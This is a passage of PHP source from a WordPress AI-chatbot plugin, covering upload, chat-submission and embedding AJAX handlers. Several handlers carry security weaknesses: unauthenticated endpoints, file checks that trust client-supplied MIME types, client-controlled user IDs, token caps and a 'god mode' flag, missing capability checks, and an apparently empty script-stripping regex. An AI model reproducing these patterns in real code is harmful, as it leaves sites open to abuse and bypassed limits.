$single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(!is_array($aiomatic_templates)) { $aiomatic_templates = array(); } if(!isset($aiomatic_templates[$template_name])) { wp_send_json_error( array( 'message' => 'Advanced template name not found in the database' ) ); } $aiomatic_templates = $aiomatic_templates[$template_name]; } } wp_send_json_success( array( 'content' => $aiomatic_templates ) ); die(); } add_action('wp_ajax_aiomatic_handle_vision_image_upload', 'aiomatic_handle_vision_image_upload'); add_action('wp_ajax_nopriv_aiomatic_handle_vision_image_upload', 'aiomatic_handle_vision_image_upload'); function aiomatic_handle_vision_image_upload() { if ( !isset($_POST['nonce']) || !wp_verify_nonce( $_POST['nonce'], 'openai-persistent-nonce')) { $aiomatic_result['msg'] = esc_html__('You are not allowed to do this.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $aiomatic_result = array('status' => 'error', 'msg' => 'Image uploaded successfully'); $allowed_file_types = ['image/jpeg', 'image/png', 'image/gif']; if(!isset($_FILES['image'])) { $aiomatic_result['msg'] = esc_html__('No file sent for upload.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $file = $_FILES['image']; if ($file['size'] > 10000000) { $aiomatic_result['msg'] = esc_html__('File size exceeds maximum limit.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } if (!in_array($file['type'], $allowed_file_types)) { $aiomatic_result['msg'] = esc_html__('Invalid file type submitted.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } add_filter('upload_dir', 'aiomatic_custom_vision_upload_dir'); $upload = wp_handle_upload($file, ['test_form' => false]); remove_filter('upload_dir', 'aiomatic_custom_vision_upload_dir'); if (!empty($upload['error'])) { $aiomatic_result['msg'] = esc_html__('Upload error: ', 'aiomatic-automatic-ai-content-writer') . esc_html($upload['error']); wp_send_json($aiomatic_result); die(); } else { $attachment_data = [ 'post_mime_type' => $upload['type'], 'post_title' => sanitize_file_name($upload['file']), 'post_content' => '', 'post_status' => 'inherit' ]; $attachment_id = wp_insert_attachment($attachment_data, $upload['file']); require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); $attach_data = wp_generate_attachment_metadata($attachment_id, $upload['file']); wp_update_attachment_metadata($attachment_id, $attach_data); $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (isset($aiomatic_Chatbot_Settings['file_expiration']) && trim($aiomatic_Chatbot_Settings['file_expiration']) != '') { $mytime = strtotime(trim($aiomatic_Chatbot_Settings['file_expiration'])); if($mytime !== false) { $tdate = date('Y-m-d', $mytime); update_post_meta($attachment_id, 'expiry_check', '1'); update_post_meta($attachment_id, 'expiry_date', $tdate); } } $image_url = wp_get_attachment_url($attachment_id); $aiomatic_result['status'] = 'success'; $aiomatic_result['image_url'] = $image_url; wp_send_json($aiomatic_result); } wp_die(); } add_action('wp_ajax_aiomatic_handle_chat_pdf_upload', 'aiomatic_handle_chat_pdf_upload'); add_action('wp_ajax_nopriv_aiomatic_handle_chat_pdf_upload', 'aiomatic_handle_chat_pdf_upload'); function aiomatic_handle_chat_pdf_upload() { if ( !isset($_POST['nonce']) || !wp_verify_nonce( $_POST['nonce'], 'openai-persistent-nonce')) { $aiomatic_result['msg'] = esc_html__('You are not allowed to do this.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } if ( !isset($_POST['pdf_namespace']) || empty($_POST['pdf_namespace'])) { $aiomatic_result['msg'] = esc_html__('Please specify also a namespace for embeddings.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $aiomatic_result = array('status' => 'error', 'msg' => 'PDF file uploaded successfully'); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-pdf-files/aiomatic-extension-pdf-files.php')) { $aiomatic_result['msg'] = esc_html__("This option requires the Aiomatic Extension - PDF File Storage And Parsing to be active.", 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = esc_html__("You need to enter an OpenAI API key for this feature to work.", 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } if (isset($aiomatic_Main_Settings['pinecone_app_id'])) { $pinecone_app_id = $aiomatic_Main_Settings['pinecone_app_id']; } else { $pinecone_app_id = ''; } if (isset($aiomatic_Main_Settings['qdrant_app_id'])) { $qdrant_app_id = $aiomatic_Main_Settings['qdrant_app_id']; } else { $qdrant_app_id = ''; } if($pinecone_app_id == '' && $qdrant_app_id == '') { $aiomatic_result['msg'] = esc_html__("You need to enter a Pinecone.io API or a Qdrant API key for this to work", 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } if (!isset($aiomatic_Main_Settings['embeddings_chat_short']) || trim($aiomatic_Main_Settings['embeddings_chat_short']) != 'on') { $aiomatic_result['msg'] = esc_html__("You need to enable Embeddings for the Chatbot for this to work", 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (!isset($aiomatic_Chatbot_Settings['upload_pdf']) || $aiomatic_Chatbot_Settings['upload_pdf'] != 'on') { $aiomatic_result['msg'] = esc_html__("You need to enable PDF chat in plugin settings.", 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $allowed_file_types = ['application/pdf']; if(!isset($_FILES['image'])) { $aiomatic_result['msg'] = esc_html__('No file sent for upload.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $file = $_FILES['image']; if ($file['size'] > 50000000) { $aiomatic_result['msg'] = esc_html__('File size exceeds maximum limit.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } if (!in_array($file['type'], $allowed_file_types)) { $aiomatic_result['msg'] = esc_html__('Invalid file type submitted.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } add_filter('upload_dir', 'aiomatic_custom_vision_upload_dir'); $upload = wp_handle_upload($file, ['test_form' => false]); remove_filter('upload_dir', 'aiomatic_custom_vision_upload_dir'); if (!empty($upload['error'])) { $aiomatic_result['msg'] = esc_html__('Upload error: ', 'aiomatic-automatic-ai-content-writer') . esc_html($upload['error']); wp_send_json($aiomatic_result); die(); } else { $attachment_data = [ 'post_mime_type' => $upload['type'], 'post_title' => sanitize_file_name($upload['file']), 'post_content' => '', 'post_status' => 'inherit' ]; $attachment_id = wp_insert_attachment($attachment_data, $upload['file']); require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); $attach_data = wp_generate_attachment_metadata($attachment_id, $upload['file']); wp_update_attachment_metadata($attachment_id, $attach_data); if (isset($aiomatic_Chatbot_Settings['file_expiration_pdf']) && trim($aiomatic_Chatbot_Settings['file_expiration_pdf']) != '') { $mytime = strtotime(trim($aiomatic_Chatbot_Settings['file_expiration_pdf'])); if($mytime !== false) { $tdate = date('Y-m-d', $mytime); update_post_meta($attachment_id, 'expiry_check', '1'); update_post_meta($attachment_id, 'expiry_date', $tdate); } } $post_urlx = wp_get_attachment_url($attachment_id); $htmlc = aiomatic_extension_pdfext_getRemoteFile($post_urlx); if($htmlc === false) { $aiomatic_result['msg'] = esc_html__('Failed to upload and process file'); wp_send_json($aiomatic_result); die(); } $file_data = ''; $pdf = new PdfToText(); $pdf->LoadFromString($htmlc); $aiomatic_stats = new Aiomatic_Statistics(); $pdflim = $aiomatic_stats->get_pdf_limits(); $maxp = -1; if(is_array($pdflim)) { if(isset($pdflim[0]) && is_array($pdflim[0])) { foreach($pdflim[0] as $pdfp) { if(intval($pdfp) > $maxp) { $maxp = intval($pdfp); } } } } if($maxp > 0) { $page_range = '1-' . $maxp; } else { if (isset($aiomatic_Main_Settings['pdf_page']) && trim($aiomatic_Main_Settings['pdf_page']) != '') { $page_range = '1-' . trim($aiomatic_Main_Settings['pdf_page']); } else { $page_range = ''; } } if($page_range == '') { $file_data = $pdf->Text; } else { $page_range_arr = array_map('trim', aiomatic_extension_pdfext_extract_range($page_range)); foreach( $pdf->Pages as $page_number => $page_contents) { if(count($page_range_arr) == 0) { break; } if(in_array($page_number, $page_range_arr)) { $page_range_arr = array_diff($page_range_arr, array($page_number)); $file_data .= $page_contents; } } } if($file_data === false || empty(trim($file_data))) { $pparser = new \Smalot\PdfParser\Parser(); $document = $pparser->parseContent($htmlc); if($page_range == '') { $file_data = $document->getText(); } else { $page_range_arr = array_map('trim', aiomatic_extension_pdfext_extract_range($page_range)); $nr = 1; $pages = $document->getPages(); foreach ($pages as $page) { if(count($page_range_arr) == 0) { break; } if(in_array($nr, $page_range_arr)) { $page_range_arr = array_diff($page_range_arr, array($nr)); $file_data .= $page->getText(); } $nr++; } $pages = count($pages); } } if($file_data === false || empty(trim($file_data))) { $aiomatic_result['msg'] = esc_html__('No textual data found in the PDF file'); wp_send_json($aiomatic_result); die(); } $file_data = nl2br($file_data); $maxc = -1; if(is_array($pdflim)) { if(isset($pdflim[1]) && is_array($pdflim[1])) { foreach($pdflim[1] as $pdfc) { if(intval($pdfc) > $maxc) { $maxc = intval($pdfc); } } } } if($maxc > 0) { $file_data = (strlen($file_data) > $maxc) ? substr($file_data, 0, $maxc) : $file_data; } else { if (isset($aiomatic_Main_Settings['pdf_character']) && trim($aiomatic_Main_Settings['pdf_character']) != '') { $max_l = intval($aiomatic_Main_Settings['pdf_character']); $file_data = (strlen($file_data) > $max_l) ? substr($file_data, 0, $max_l) : $file_data; } } if (isset($aiomatic_Main_Settings['embeddings_model']) && $aiomatic_Main_Settings['embeddings_model'] != '') { $model = $aiomatic_Main_Settings['embeddings_model']; } else { $model = 'text-embedding-ada-002'; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; require_once(dirname(__FILE__) . "/res/Embeddings.php"); $embdedding = new Aiomatic_Embeddings($token); $aiomatic_result = $embdedding->aiomatic_save_embedding($file_data, '', '', false, $model, $_POST['pdf_namespace']); wp_send_json($aiomatic_result); } wp_die(); } add_action('wp_ajax_aiomatic_handle_chat_file_upload', 'aiomatic_handle_chat_file_upload'); add_action('wp_ajax_nopriv_aiomatic_handle_chat_file_upload', 'aiomatic_handle_chat_file_upload'); function aiomatic_handle_chat_file_upload() { if ( !isset($_POST['nonce']) || !wp_verify_nonce( $_POST['nonce'], 'openai-persistent-nonce')) { $aiomatic_result['msg'] = esc_html__('You are not allowed to do this.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $thread_id = ''; if ( isset($_POST['thread_id']) && $_POST['thread_id'] != '') { $thread_id = $_POST['thread_id']; } $aiomatic_result = array('status' => 'error', 'msg' => 'File uploaded successfully'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for uploads.'; wp_send_json($aiomatic_result); die(); } if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = esc_html__("You need to enter an OpenAI API key for this feature to work.", 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (!isset($aiomatic_Chatbot_Settings['enable_file_uploads']) || $aiomatic_Chatbot_Settings['enable_file_uploads'] != 'on') { $aiomatic_result['msg'] = esc_html__("You need to enable file uploads for chat in plugin settings.", 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } if(!isset($_FILES['image'])) { $aiomatic_result['msg'] = esc_html__('No file sent for upload.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $file = $_FILES['image']; if ($file['size'] > 50000000) { $aiomatic_result['msg'] = esc_html__('File size exceeds maximum limit.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); die(); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $file['name'] = 'chatbot-' . $file['name']; $file_name = sanitize_file_name(basename($file['name'])); $tmp_file = $file['tmp_name']; $c_file = curl_file_create($tmp_file, $file['type'], $file_name); $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $purpose = 'assistants'; $result = $open_ai->uploadFile(array( 'purpose' => $purpose, 'file' => $c_file, )); $result = json_decode($result); if(isset($result->error)){ $aiomatic_result['msg'] = $result->error->message; } else { require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); try { $vs = aiomatic_openai_create_vector_store($token, 'New Vector Store', array($result->id)); if(isset($vs['id'])) { if(!empty($thread_id)) { $thread = aiomatic_openai_modify_thread($token, $thread_id, $vs['id']); if(!isset($thread['id'])) { $aiomatic_result['msg'] = 'Invalid thread format when modifying thread: ' . print_r($thread, true); wp_send_json($aiomatic_result); wp_die(); } } $aiomatic_result['msg'] = $vs['id']; $aiomatic_result['fid'] = $result->id; $aiomatic_result['status'] = 'success'; } } catch(Exception $e) { $aiomatic_result['msg'] = 'Exception in vector store creation: ' . $e->getMessage(); } } wp_send_json($aiomatic_result); wp_die(); } add_action('wp_ajax_aiomatic_save_chat_data', 'aiomatic_save_chat_data'); add_action('wp_ajax_nopriv_aiomatic_save_chat_data', 'aiomatic_save_chat_data'); function aiomatic_save_chat_data() { if ( !isset($_POST['nonce']) || !wp_verify_nonce( $_POST['nonce'], 'openai-persistent-nonce')) { $aiomatic_result['msg'] = esc_html__('You are not allowed to do this.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } if ( !isset($_POST['uniqid']) || empty($_POST['uniqid'])) { $aiomatic_result['msg'] = esc_html__('Missing parameter (uniqid)', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } if ( !isset($_POST['input_text'])) { $aiomatic_result['msg'] = esc_html__('Missing parameter (input_text)', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } if ( !isset($_POST['remember_string'])) { $aiomatic_result['msg'] = esc_html__('Missing parameter (remember_string)', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } if ( !isset($_POST['user_question'])) { $aiomatic_result['msg'] = esc_html__('Missing parameter (user_question)', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); die(); } $setarr = array($_POST['input_text'], $_POST['remember_string'], $_POST['user_question']); if (isset($_POST['function_result']) && !empty($_POST['function_result'])) { $setarr[] = $_POST['function_result']; } set_transient('aiomatic_ai_data_' . $_POST['uniqid'], $setarr, 300); $aiomatic_result = array('status' => 'success', 'msg' => 'OK'); wp_send_json($aiomatic_result); wp_die(); } add_action('wp_ajax_aiomatic_chat_submit', 'aiomatic_chat_submit'); add_action('wp_ajax_nopriv_aiomatic_chat_submit', 'aiomatic_chat_submit'); function aiomatic_chat_submit() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with chat'); if(!isset($_POST['input_text']) || !isset($_POST['model']) || !isset($_POST['temp']) || !isset($_POST['presence']) || !isset($_POST['frequency']) || !isset($_POST['remember_string'])) { $aiomatic_result['msg'] = esc_html__('Incomplete POST request for chat', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); } $is_modern_gpt = '0'; if(isset($_POST['is_modern_gpt'])) { $is_modern_gpt = $_POST['is_modern_gpt']; } $no_internet = false; if(isset($_POST['internet_access']) && ($_POST['internet_access'] === 'no' || $_POST['internet_access'] === '0' || $_POST['internet_access'] == 'off' || $_POST['internet_access'] == 'disabled' || $_POST['internet_access'] == 'Disabled' || $_POST['internet_access'] == 'disable' || $_POST['internet_access'] == "false")) { $no_internet = true; } $no_embeddings = false; if(isset($_POST['embeddings']) && ($_POST['embeddings'] === 'no' || $_POST['embeddings'] === '0' || $_POST['embeddings'] == 'off' || $_POST['embeddings'] == 'disabled' || $_POST['embeddings'] == 'disable' || $_POST['embeddings'] == 'Disabled' || $_POST['embeddings'] == "false")) { $no_embeddings = true; } $user_token_cap_per_day = sanitize_text_field($_POST['user_token_cap_per_day']); if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if(isset($_POST['pdf_data'])) { $embedding_namespace = stripslashes($_POST['pdf_data']); } else { $embedding_namespace = ''; } if(isset($_POST['file_data'])) { $file_data = stripslashes($_POST['file_data']); } else { $file_data = ''; } if(isset($_POST['ai_thread_id'])) { $thread_id = stripslashes($_POST['ai_thread_id']); } else { $thread_id = ''; } if(isset($_POST['user_id'])) { $user_id = stripslashes($_POST['user_id']); } else { $user_id = ''; } if(empty($embedding_namespace)) { if (isset($aiomatic_Chatbot_Settings['persistent']) && $aiomatic_Chatbot_Settings['persistent'] == 'vector') { $embedding_namespace = 'persistentchat_' . $user_id . '_' . $thread_id; } } $input_text = stripslashes($_POST['input_text']); if (isset($aiomatic_Chatbot_Settings['max_input_length']) && $aiomatic_Chatbot_Settings['max_input_length'] != '' && is_numeric($aiomatic_Chatbot_Settings['max_input_length'])) { if(strlen($input_text) > intval($aiomatic_Chatbot_Settings['max_input_length'])) { $input_text = substr($input_text, 0, intval($aiomatic_Chatbot_Settings['max_input_length'])); } } if(isset($_POST['remember_string'])) { $remember_string = stripslashes($_POST['remember_string']); } else { $remember_string = ''; } if($is_modern_gpt == '1') { if(!empty($remember_string)) { $remember_string = json_decode($remember_string, true); if($remember_string === null) { $aiomatic_result['msg'] = esc_html__('Failed to decode conversation data in request!', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); } if(!is_array($remember_string)) { $remember_string = []; } } else { $remember_string = []; } $remember_string[] = array ('role' => 'user', 'content' => $input_text); $input_text = $remember_string; } else { if(!empty(trim($remember_string))) { $input_text = trim($remember_string) . PHP_EOL . $input_text; } } if(isset($_POST['user_question'])) { $user_question = stripslashes($_POST['user_question']); } else { $user_question = ''; } if(isset($_POST['ai_assistant_id'])) { $assistant_id = stripslashes($_POST['ai_assistant_id']); } else { $assistant_id = ''; } if(isset($_POST['model'])) { $model = stripslashes($_POST['model']); } else { $model = 'default'; } if($model == 'default') { $model = AIOMATIC_DEFAULT_MODEL; } if(isset($_POST['temp'])) { $temperature = stripslashes($_POST['temp']); } else { $temperature = '1'; } if(isset($_POST['top_p'])) { $top_p = stripslashes($_POST['top_p']); } else { $top_p = '1'; } if(isset($_POST['presence'])) { $presence_penalty = stripslashes($_POST['presence']); } else { $presence_penalty = '0'; } if(isset($_POST['frequency'])) { $frequency_penalty = stripslashes($_POST['frequency']); } else { $frequency_penalty = '0'; } $all_models = aiomatic_get_all_models(); $models = $all_models; if(!in_array($model, $models)) { $aiomatic_result['msg'] = esc_html__('Invalid model provided: ', 'aiomatic-automatic-ai-content-writer') . $model; wp_send_json($aiomatic_result); } $vision_file = ''; if(isset($_REQUEST['vision_file'])) { if(aiomatic_is_vision_model($model, $assistant_id)) { $vision_file = stripslashes($_REQUEST['vision_file']); } } $temperature = floatval($temperature); $top_p = floatval($top_p); $presence_penalty = floatval($presence_penalty); $frequency_penalty = floatval($frequency_penalty); if (isset($aiomatic_Chatbot_Settings['restriction_time']) && $aiomatic_Chatbot_Settings['restriction_time'] != '' && is_numeric($aiomatic_Chatbot_Settings['restriction_time']) && isset($aiomatic_Chatbot_Settings['restriction_count']) && $aiomatic_Chatbot_Settings['restriction_count'] != '' && is_numeric($aiomatic_Chatbot_Settings['restriction_count'])) { $user_ip = $_SERVER['REMOTE_ADDR']; $restriction_time = esc_attr( $aiomatic_Chatbot_Settings['restriction_time'] ); $user_hash = 'ai' . md5( $user_ip ); $user_requests = get_transient( $user_hash ); if($user_requests === false) { $user_requests = 0; } $user_max_requests = esc_attr( $aiomatic_Chatbot_Settings['restriction_count'] ); if ( (int)$user_requests >= (int)$user_max_requests ) { $restriction_message = ''; if (isset($aiomatic_Chatbot_Settings['restriction_message']) && $aiomatic_Chatbot_Settings['restriction_message'] != '') { $restriction_message = $aiomatic_Chatbot_Settings['restriction_message']; } $aiomatic_result['msg'] = $restriction_message; wp_send_json($aiomatic_result); } set_transient( $user_hash, (int)$user_requests + 1, (int)$restriction_time ); } if($temperature < 0 || $temperature > 2) { $aiomatic_result['msg'] = esc_html__('Invalid temperature provided: ', 'aiomatic-automatic-ai-content-writer') . $temperature; wp_send_json($aiomatic_result); } if($top_p < 0 || $top_p > 1) { $aiomatic_result['msg'] = esc_html__('Invalid top_p provided: ', 'aiomatic-automatic-ai-content-writer') . $top_p; wp_send_json($aiomatic_result); } if($presence_penalty < -2 || $presence_penalty > 2) { $aiomatic_result['msg'] = esc_html__('Invalid presence_penalty provided: ', 'aiomatic-automatic-ai-content-writer') . $presence_penalty; wp_send_json($aiomatic_result); } if($frequency_penalty < -2 || $frequency_penalty > 2) { $aiomatic_result['msg'] = esc_html__('Invalid frequency_penalty provided: ', 'aiomatic-automatic-ai-content-writer') . $frequency_penalty; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = esc_html__('You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); } $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result['msg'] = sprintf( wp_kses( __( 'You are not allowed to access this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); wp_send_json($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_chat_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result['msg'] = esc_html__('Daily token count of your user account was exceeded! Please try again tomorrow.', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); } } else { $used_token_count = 0; } } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $max_tokens = aiomatic_get_max_tokens($model); if($is_modern_gpt == '1') { $aitext = ''; foreach($input_text as $aimess) { if(isset($aimess['content'])) { if(!is_array($aimess['content'])) { $aitext .= $aimess['content'] . '\n'; } else { foreach($aimess['content'] as $internalmess) { if($internalmess['type'] == 'text') { $aitext .= $internalmess['text'] . '\n'; } } } } } $query_token_count = count(aiomatic_encode($aitext)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $aitext, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $startIndex = intdiv(count($input_text), 2); $input_text = array_slice($input_text, $startIndex); $lastindex = end(array_keys($input_text)); $string_len = strlen($input_text[$lastindex]['content']); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $input_text[$lastindex]['content'] = aiomatic_substr($input_text[$lastindex]['content'], 0, $string_len); $input_text[$lastindex]['content'] = trim($input_text[$lastindex]['content']); $aitext = ''; foreach($input_text as $aimess) { if(isset($aimess['content'])) { if(!is_array($aimess['content'])) { $aitext .= $aimess['content'] . '\n'; } else { foreach($aimess['content'] as $internalmess) { if($internalmess['type'] == 'text') { $aitext .= $internalmess['text'] . '\n'; } } } } } $query_token_count = count(aiomatic_encode($aitext)); $available_tokens = $max_tokens - $query_token_count; } } else { $query_token_count = count(aiomatic_encode($input_text)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $input_text, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($input_text); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $input_text = aiomatic_substr($input_text, 0, $string_len); $input_text = trim($input_text); if(empty($input_text)) { aiomatic_log_to_file('Empty API seed expression provided (after processing)'); $aiomatic_result['msg'] = esc_html__('An internal error occurred, please try again later!', 'aiomatic-automatic-ai-content-writer'); wp_send_json($aiomatic_result); } $query_token_count = count(aiomatic_encode($input_text)); $available_tokens = $max_tokens - $query_token_count; } } $function_result = 'disabled'; if(isset($_POST['enable_god_mode'])) { if($_POST['enable_god_mode'] === 'on' || $_POST['enable_god_mode'] === 'yes' || $_POST['enable_god_mode'] === 'true' || $_POST['enable_god_mode'] === '1' || $_POST['enable_god_mode'] === 'enable' || $_POST['enable_god_mode'] === 'enabled') { $function_result = ''; } } $error = ''; $finish_reason = ''; do_action('aiomatic_calling_chatbot', $input_text, $model); $response_text = aiomatic_generate_text($token, $model, $input_text, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, true, 'shortcodeChat', 0, $finish_reason, $error, $no_internet, $no_embeddings, false, $vision_file, $user_question, 'user', $assistant_id, $thread_id, $embedding_namespace, $function_result, $file_data, true); if($response_text === false) { $aiomatic_result['msg'] = $error; wp_send_json($aiomatic_result); } else { if($is_modern_gpt == '1') { $aitext = ''; foreach($input_text as $aimess) { if(isset($aimess['content'])) { if(!is_array($aimess['content'])) { $aitext .= $aimess['content'] . '\n'; } else { foreach($aimess['content'] as $internalmess) { if($internalmess['type'] == 'text') { $aitext .= $internalmess['text'] . '\n'; } } } } } $inp_count = count(aiomatic_encode($aitext)); } else { $inp_count = count(aiomatic_encode($input_text)); } $resp_count = count(aiomatic_encode($response_text)); if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + $inp_count + $resp_count; update_user_meta($user_id, 'aiomatic_used_chat_tokens', $used_token_count); } } $aiomatic_result['status'] = 'success'; $response_text = stripslashes($response_text); if (isset($aiomatic_Chatbot_Settings['enable_html']) && trim($aiomatic_Chatbot_Settings['enable_html']) == 'on') { if (isset($aiomatic_Chatbot_Settings['strip_js']) && trim($aiomatic_Chatbot_Settings['strip_js']) == 'on') { $response_text = preg_replace('//is', "", $response_text); $response_text = preg_replace('/on[a-zA-Z]*="([^"]*?)"/is', "", $response_text); } $aiomatic_result['data'] = trim($response_text); } else { $aiomatic_result['data'] = trim(esc_html($response_text)); } $aiomatic_result['thread_id'] = $thread_id; do_action('aiomatic_chat_reply', $aiomatic_result); wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_post_now', 'aiomatic_aiomatic_submit_post_callback'); function aiomatic_aiomatic_submit_post_callback() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $run_id = $_POST['id']; $wp_post = get_post($run_id); if($wp_post != null) { aiomatic_do_post($wp_post, true); } die(); } add_action('wp_ajax_aiomatic_toggle_status', 'aiomatic_toggle_status'); function aiomatic_toggle_status() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $run_id = $_POST['id']; $wp_post = get_post($run_id); if($wp_post != null) { $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false); if (isset($aiomatic_Spinner_Settings['custom_name']) && trim($aiomatic_Spinner_Settings['custom_name']) != '') { $custom_name = trim($aiomatic_Spinner_Settings['custom_name']); } else { $custom_name = 'aiomatic_published'; } $metavalue = get_post_meta($run_id, $custom_name, true); if($metavalue == 'pub') { delete_post_meta($run_id, $custom_name); } else { update_post_meta($run_id, $custom_name, 'pub'); } } die(); } add_action('wp_ajax_aiomatic_delete_embedding', 'aiomatic_aiomatic_delete_embedding'); function aiomatic_aiomatic_delete_embedding() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong embedding deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['embeddingid'])) { $aiomatic_result['msg'] = 'Field missing: embeddingid'; } else { $embeddingid = $_POST['embeddingid']; if($embeddingid != '' && is_numeric($embeddingid)) { $wp_post = get_post($embeddingid); if($wp_post != null) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; require_once(dirname(__FILE__) . "/res/Embeddings.php"); $embdedding = new Aiomatic_Embeddings($token); $status = $embdedding->aiomatic_delete_embedding($embeddingid); $aiomatic_result = $status; } else { $aiomatic_result['msg'] = 'No app ID in plugin settings.'; } } else { $aiomatic_result['msg'] = 'No post found with this ID: 